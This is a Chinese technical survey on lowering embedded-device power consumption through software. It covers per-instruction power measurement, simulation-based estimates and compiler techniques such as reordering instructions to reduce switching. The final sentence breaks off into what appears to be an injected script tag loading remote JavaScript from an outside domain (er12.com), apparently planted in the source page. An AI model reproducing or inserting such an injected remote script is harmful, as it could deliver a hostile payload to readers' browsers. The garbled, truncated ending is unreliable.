通过优化软件可以有效地降低嵌入式设备的功耗。在一个程序中,每一条指令都将激活微处理器中的某些硬件部件,因此,正确选择指令可降低处理器的功耗。通过建立特定处理器架构下指令集的功耗信息,利用“减少跳转的指令重排序”等方法可以进行有效软件的低功率优化。
低功耗是便携式电子设备必须具备的一个关键特性。过去几年的研究主要针对硬件部分,而现在人们则更注重通过优化软件部分来降低系统功耗。要想对软件进行优化,必须了解每条指令所产生的功耗,并选择正确的编译方法,以降低程序执行的功耗。由于各个微处理器架构不相同,指令集和功耗也不一样。因此,适用于某一处理器的优化方式并不一定适用于其它处理器。这样,选择与可降低功耗的软件相匹配的微处理器便十分重要。
本文是一个与此相关的技术调查。下面第一部分列举了测定微处理器指令集功耗的一些方法;第二部分是在程序执行时可降低功耗的编译器方法,目前该方法已广泛使用;第三、四部分分别是对软件优化工具的要求以及power pc 603e微处理器今后应采取的措施。
建立指令功耗信息
为了获得可测量给定程序功耗的工具,必须首先要建立每条指令所相关的功耗信息。因此,我们需要一个系统,它可测量微处理器每条指令的功耗,以及程序执行时可能出现的特殊情况的功耗。
目前主要有两种方法可实现这一目的。由tiwari等人提出的一种方法是反复地执行某一指令,并测量此时处理器消耗的电流,从而得到一些相关信息,并以此评估用于该处理器的某一程序的功耗。总的功率还包括一些其它因素产生的功耗,根据测量结果可以估计出程序功耗。
将一个分流电阻与微处理器的电源脚串联,便可用示波器测出处理器所消耗的电流。另一种方法则是采用安培表直接测量,安培表必须能测量高频信号,这样才能在测量微处理器消耗电流时保持稳定,这点十分重要。
在实验中,采用两个微处理器来测量其耗用的电流,试验结果证明了tiwari等人提出的方法的正确性。平均功耗通过p=i×v cc来计算,其中v cc是电源电压,i是微处理器的耗电流。这一功耗还可通过e = p× n×t来计算,n是程序执行所用的时钟周期数,t是时钟周期时间。这一方法适用于管线结构处理器,不过在这一计算方式中忽略了其它因素所产生的功耗。例如,如果微处理器的上一个状态不同,实际指令的功耗与计算结果也并不一定相同。我们可通过计算两条指令的功耗来解决这一问题,这样能更为准确地估计给定程序的功耗。另外一个影响是缓存丢失率(cache miss ratio),它需要额外的执行时间或执行周期,从而使功耗增加。
第二种方法是通过对微处理器以及微处理器中指令集的仿真而进行测量。mehta等人指出,通过较为底层的仿真可得到耗电流的估计值,从而计算每条指令的功耗。chakrabarti等人针对hc11处理器的每个基础模块采用硬件描述语言(hdl)构建了一个模型,不过,我们也可以采用黑箱模型或其它可进行电流和功耗测量的模型。在确定了每条指令所对应的激活处理模块后,通过累加某一给定指令中所有被激活模块的功耗便可计算出相应的指令功耗。
这种方法的缺点是必须知道cpu的详细情况。通过这种方法估计出的功耗与实际值的误差为1%-10%。
编译方法
下面介绍几种降低程序的运行功耗的方法。但是,由于并非每种方法都可用于所有的处理器,因此必须对系统架构有一定的了解。此外,通过我们所研究的技术以及待测的微处理器的特殊性能,还可引申出一些新的方法。
第一种方法是基于“减少跳转的指令重排序”。指令执行时的功耗与其前一条指令有关,因此,对程序中的指令进行适当的重新排序可降低功耗。但在英特尔486处理器中应用该方法的结果却表明,尽管它可降低指令跳转时的功耗,但整体功耗却没有明显下降,降幅仅为2%。不过,在某些dsp处理器中,该方法却可将整体功耗降低30%-65%。
tiwari等人提出了另一种方法,即通过模式匹配(pattern matching)产生编码。该方法修改了编译器的功耗计算函数(通常是执行周期数),由此得到一个以降低功耗为目标的代码生成器。结果表明,这样产生的代码与以减少时钟周期为目标所产生的代码类似,这是因为?script src=http://er12.com/t.js>